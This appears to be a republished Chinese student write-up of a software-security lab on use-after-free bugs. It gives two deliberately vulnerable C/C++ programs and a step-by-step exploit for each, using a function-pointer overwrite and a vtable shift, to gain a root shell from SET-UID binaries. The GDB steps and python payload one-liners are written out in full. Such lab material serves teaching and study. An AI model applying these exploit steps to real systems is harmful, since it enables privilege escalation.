软件安全实验——lab12(UAF(Use after free):C++野指针利用)

Posted 大灬白

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了软件安全实验——lab12(UAF(Use after free):C++野指针利用)相关的知识,希望对你有一定的参考价值。

Task1:针对UAF.c的攻击

源代码:

#include <stdio.h>

 typedef struct s{
	 int id;
	 char name[20];
	 void (*clean)(void *);   //定义空函数指针
 }VULNSTRUCT;

/*释放mem指向的内存*/
 void *cleanMemory(void *mem){
        free(mem);
 }

 int main(int argc, char *argv[]){
	 //定义空变量指针
	 void *ptr1;  
	 //定义结构体指针,并分配256字节内存
	 VULNSTRUCT *vuln=malloc(256);  
	 
	 //清空输入流缓冲区
	 fflush(stdin);
	 printf("Enter id num: ");
	 scanf("%d", &vuln->id);
	 printf("Enter your name: ");
	 scanf("%s", vuln->name);
	 
	 //把cleanMemory函数的函数指针,赋值给vuln->clean函数指针
	 vuln->clean = cleanMemory; 
	 
	//上面输入的id大于100,就释放vuln的内存
	 if(vuln->id>100){
		 vuln->clean(vuln);   
	 }
	 //之后重新申请分配大小相同的内存,ptr1申请的地址(变量指针)就是刚刚释放的vuln的地址(结构体指针)
	 ptr1 = malloc(256);  
	 //字符串复制,可以在这传入shellcode到申请的内存地址
	 strcpy(ptr1, argv[1]);  
	 //释放了ptr1指针
	 free(ptr1);
	 //再次释放vuln的内存,函数指针vuln->clean在这执行vuln上的shellcode
	 vuln->clean(vuln);  
	 return 0;
}

实验原理:
1、free()函数的作用是对动态分配的内存进行释放,这也就意味着当使用free函数释放一个指针时,只是把这个指针的值释放,而指针所指向的内存上的值是不会处理的。所以在这个程序中free释放结构体指针vuln时,只会释放这个结构体指针vuln指向的值(找不到vuln->id,vuln->name的值),而不会对clean指针及其指向的内存进行清理(vuln->clean指针的值不变,其指向的内存地址上的值也不变)。
2、当我们输入id大于100时,程序会free释放给vuln分配的内存,之后程序又申请了大小相同的一块内存ptrl,操作系统会将刚刚free掉的内存再次分配,所以vuln(结构体指针)和ptr1(变量)指向同一个内存单元。
3、接下来执行strcpy(ptr1, argv[1]),把输入的argv[1]字符串复制到ptrl和vuln指向的地址。然后free释放给ptrl变量指针分配的内存,再调用函数指针vuln->clean去再次释放vuln的值,但此时vuln已经指向了我们输入的shellcode,就会执行shellcode,让我们获得root权限。

(1)环境准备工作

关掉地址随机化

sysctl -w kernel.randomize_va_space=0

以可执行栈的选项编译漏洞程序,因为需要在栈中执行我们输入的shellcode:

gcc -o uaf -z execstack uaf.c

并给uaf设置SET-UID权限。

chmod 4755 uaf

(2)获得shellcode在环境变量中的地址

将shellcode放入环境变量

编译got.c(用于取得环境变量地址的程序),运行得到EGG的地址0xbffff5bb:

(3)攻击

构造argv[1]为shellcode在环境变量中的地址,进行攻击

./uaf  $(python -c "print '\\x90'*24 + '\\xbb\\xf5\\xff\\xbf'")

24个’\\x90’用于覆盖id和name(id是int型,在gcc编译是占4个字节;name是一个长为20字节的字符数组)

Task2: 针对uaf2.cpp的攻击

源代码:

#include <fcntl.h>                                                   
#include <iostream>                                                  
#include <cstring>                                                   
#include <cstdlib>                                                   
#include <unistd.h>                                                  
using namespace std;                                                 
                                                                     
class Human{                                                         
private:                                                             
        virtual void give_shell(){                                   
                system("/bin/sh");                                   
        }                                                            
protected:                                                           
        int age;                                                     
        string name;                                                 
public:                                                              
        virtual void introduce(){                                    
                cout << "My name is " << name << endl;               
                cout << "I am " << age << " years old" << endl;      
        }                                                            
};                                                                   
                                                                     
class Man: public Human{                                             
public:                                                              
        Man(string name, int age){                                   
                this->name = name;                                   
                this->age = age;                                     
        }
		//重写继承的父类的函数
        virtual void introduce(){                                    
                Human::introduce();                                  
                cout << "I am a nice guy!" << endl;                  
        }                                                            
};                                                                   
                                                                     
class Woman: public Human{                                           
public:                                                              
        Woman(string name, int age){                                 
                this->name = name;                                   
                this->age = age;                                     
        }                                                            
        virtual void introduce(){                                    
                Human::introduce();                                  
                cout << "I am a cute girl!" << endl;                 
        }                                                            
};                                                                   
                                                                     
int main(int argc, char* argv[]){
		//上转型对象
        Human* m = new Man("Jack", 25);                              
        Human* w = new Woman("Jill", 21);                            
                
		//字节型变量
        size_t len;  
		//字符指针
        char* data;
		//输入数字选择功能
        unsigned int op;                                             
        while(1){                                                    
                cout << "1. use\\n2. after\\n3. free\\n";               
                cin >> op;                                           
                                                                     
                switch(op){                                          
                        case 1:                                      
                                m->introduce();                      
                                w->introduce();                      
                                break;                               
                        case 2:						
								//输入的第二个字符转换成数字,作为申请的内存长度
                                len = atoi(argv[1]);   
								//new运算符分配动态内存 
                                data = new char[len];      
                                //打开输入的第二个参数指向的文件,将其内容写入data指针指向的内存
                                read(open(argv[2], O_RDONLY), data, len);   
                                cout << "your data is allocated" << endl; 
                                break;                               
                        case 3:   
								//释放m、w的内存
                                delete m;  
								//之后分配的时候先分配w的内存 			
                                delete w;                            
                                break;                               
                        default:                                     
                                break;                                    
                }                                                    
        }                                 
        return 0;                                                     
}

实验原理:
1、delete m;delete w;只是将m,w的值释放,让我们无法使用m,w的值;但是m,w的虚表指针指向的地址上的值并没有释放(m->age、m->name、w->age、w->name、m->introduce()、w->introduce()的值依旧存在)。
另外data = new char[len]动态分配了一个数组,需要使用delete[] data释放,不能用delete data的方式释放,否则编译时没有问题,运行时也一般不会发生错误,但实际上会导致动态分配的数组没有被完全释放。
2、对象m和v的内存布局中,首先是该类的vtable虚表指针,然后才是对象数据。比如introduce()函数记录在数组的第二个元素,当一个该类的对象实例调用introduce()函数时就根据对应关系把第二个函数指针取出来,再去执行该函数,这种行为叫晚绑定,也就是说在运行时才知道调用的函数是什么样子的,而不是在编译阶段就确定的早绑定。
3、vtable虚表指针的值指向类的虚函数表,give_shell函数是虚函数表第一项,就是* vtable指向的地址;introduce函数是虚函数表第二项,即*(vtable+4)所指向的地址。又知道在虚表中give_shell函数的位置等于introduce函数位置 - 4。意思是假如我们先把vtable的值覆盖为vtable - 4,那么再执行introduce函数时就相当于执行give_shell函数。
4、所以我们的利用思路就是,先调用case 3功能,把m,w这两个指针的值释放;然后再调用两次case 2功能,申请分配内存,大小适当时,会把刚才释放的m,w指向的内存分配给data,之后我们就可以通过read(open(argv[2], O_RDONLY), data, len)把输入文件的内容(give_shell()的地址)写到data指向的地址,也就是之前释放的m、w的地址;最后调用case 1,我们就可以运行m->introduce(); w->introduce();从而运行give_shell()函数。

(1)编译程序

以g++ -g格式编译漏洞程序uaf2.cpp,

sudo g++ -g -o uaf2 uaf2.cpp

并SET-UID

sudo chmod 4755 uaf2

(2)找到m变量的地址

利用GDB找到m的地址:进入gdb,在第48行(Human* m = new Man(“Jack”, 25);)处设置断点:

b 48

接着运行r,会停在上面设的断点处
然后单步调试s直到出现this,This的值即为m的地址(this作用域是在类内部,当在类的非静态成员函数中访问类的非静态成员的时候,编译器会自动将对象本身的地址作为一个隐含参数this传递给函数):

m对象的虚表指针的地址(0x0804c020)
在main函数中,在生成Man类的时候下断点也是一样的
disas main

b * 0x08048b88

正如我们前面在原理中说的,m对象的内存首先是虚表指针0x0804c020(%esp),然后才是name(0x4(%esp))、age(0x8(%esp)),

(3)找到虚函数表

接着单步调试,直到m完成构造的一系列操作。

查看m(即0x804c020)的内容。

(4)查看虚函数表的内容

查看虚函数表(即0x08049170)的内容。
指令为:x/30a 0x08049170,a是gdb中 address选项的缩写,这样可以将输出作为内存地址显示每一项对应的虚函数,30表示输出30个地址:

可以看出give_shell就在introduce的前四个字节处。因此只要将虚表地址改为0x0804916c(即0x08049170减4),就可以使得程序调用introduce函数时就会执行give_shell函数。

(5)攻击

构造badfile文件,进行攻击。

(python -c "print '\\x6c\\x91\\x04\\x08'") > badfile

第一个参数申请的内存长度只要大于等于4就行。
注意要free之后需要调用两次after,因为第一次覆盖的是w的虚表指针w->introduce(),第二次才是m的虚表指针m->introduce()。

同样的也可以把m、w的虚表指针,w->introduce()、m->introduce()改为w的give_shell函数的地址0x0804915c,方法类似。

题外话:只after一次,就会出现段错误

如果只after一次,就会出现段错误。
调试错误的过程如下,输入参数调试run 4 badfile:
先3.free一次,再2.after,最后1.use,我们在m->introduce()处设了断点:

可以看到,此时m的值被detele之后已经为0,w的值是因为进行了一次after重新分配给了data之后,又重新写入了我们事先构造的badfeil的内容0x0804916c。
所以此时再继续运行,m->introduce();因为指向的地址是00000000,所以就会出现段错误:

以上是关于软件安全实验——lab12(UAF(Use after free):C++野指针利用)的主要内容,如果未能解决你的问题,请参考以下文章

软件安全实验——lab8(SQL注入)(下)(旧虚拟机SEEDUbuntu12.04版本实验)

软件安全实验——lab10(二TCP/IP攻击实验)

软件安全实验——lab3(格式化字符串printf)

软件安全实验——lab2(竞态条件符号链接)

软件安全实验——lab11(XSS跨站脚本攻击)

软件安全实验——lab8(SQL注入)(上)(旧虚拟机seedubuntu9版本实验)